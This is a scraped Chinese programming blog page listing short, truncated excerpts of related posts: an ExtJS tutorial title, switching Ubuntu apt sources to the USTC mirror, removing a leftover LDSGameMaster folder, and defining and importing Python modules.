    ExtJs自学教程(1):一切从API開始

  • ubuntu中科大镜像源_中国科技大学开源镜像

    ubuntu中科大镜像源_中国科技大学开源镜像#vim/etc/apt/sources.list//修改网络镜像源文件debhttps://mirrors.ustc.edu.cn/ubuntu/bionicmainrestrict

  • 如何删除LDSGameMaster

    如何删除LDSGameMaster如何删除LDSGameMaster背景介绍方法一方法二背景介绍最近不小心下载安装了鲁大师,卸载之后,C盘中仍有一个名为LDSGameMaster的文件夹。虽然很小,之后18M,但是一定要删除掉,否则心里很不舒服。方法一百度告诉我,解决这个问题很简单。这个文件夹中有个uninstall,运行之后就没有了。但我没有发现我的文件夹中有这么一个东西。这个方法不提。方法二删除之后,提示:操作无法…

  • (更新时间)2021年3月26日 python基础知识(模块制作)[通俗易懂]

    (更新时间)2021年3月26日 python基础知识(模块制作)[通俗易懂]模块制作<1>定义自己的模块在Python中,每个Python文件都可以作为一个模块,模块的名字就是文件的名字。比如有这样一个文件test.py,在test.py中定义了函数addtest.pydefadd(a,b):returna+b<2>调用自己定义的模块那么在其他文件中就可以先importtest,然后通过test.add(a,b)来调用了,当然也可以通过fromtestimportadd来引入main.pyimporttestr

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号